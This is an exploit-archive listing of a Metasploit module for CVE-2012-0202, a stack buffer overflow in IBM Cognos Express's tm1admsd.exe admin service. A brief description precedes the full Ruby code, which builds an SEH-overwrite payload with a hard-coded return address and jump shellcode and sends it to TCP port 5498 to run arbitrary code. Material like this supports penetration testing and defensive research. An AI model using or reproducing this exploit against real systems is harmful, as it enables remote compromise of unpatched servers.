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IBM Cognos tm1admsd.exe Overflow

IBM Cognos tm1admsd.exe Overflow
Posted Jan 8, 2013
Authored by unknown, juan vazquez | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in IBM Cognos Analytic Server Admin service. The vulnerability exists in the tm1admsd.exe component, due to a dangerous copy of user controlled data to the stack, via memcpy, without validating the supplied length and data. The module has been tested successfully on IBM Cognos Express 9.5 over Windows XP SP3.

tags | exploit, overflow
systems | windows
advisories | CVE-2012-0202, OSVDB-80876
SHA-256 | abf55a041edebfc9c10a71c63250d53ebae7935806c4ab38d15c7743ef4a47b2

IBM Cognos tm1admsd.exe Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Cognos tm1admsd.exe Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in IBM Cognos Analytic Server
Admin service. The vulnerability exists in the tm1admsd.exe component, due to a
dangerous copy of user controlled data to the stack, via memcpy, without validating
the supplied length and data. The module has been tested successfully on IBM Cognos
Express 9.5 over Windows XP SP3.
},
'Author' =>
[
'Unknown', # Original discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-0202'],
['OSVDB', '80876'],
['BID', '52847'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-101/'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21590314']
],
'Privileged' => true,
'DefaultOptions' =>
{
'SSL' => true,
'SSLVersion' => 'TLS1'
},
'Payload' =>
{
'Space' => 10359,
'DisableNops' => true
},
'Platform' => 'win',
'DefaultTarget' => 0,
'Targets' =>
[
# tm1admsd.exe 9.5.10009.10070
# ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates
[ 'IBM Cognos Express 9.5 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 10359 } ]
],
'DisclosureDate' => 'Apr 02 2012'))

register_options([Opt::RPORT(5498)], self.class)
end

def exploit

sploit = payload.encoded
sploit << rand_text(target['Offset'] - sploit.length)
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']}").encode_string
sploit << "\xEB\xF9" + rand_text(2) # jmp $-5
sploit << [target.ret].pack("V") # seh
sploit << rand_text(2000) # Trigger exception

data = rand_text(4)
data << "\x00\x08" # Opcode
data << [sploit.length].pack("n") # Length
data << sploit # Value

length = [data.length + 2].pack("n")

req = length
req << data

connect
sock.put(req)
disconnect

end
end

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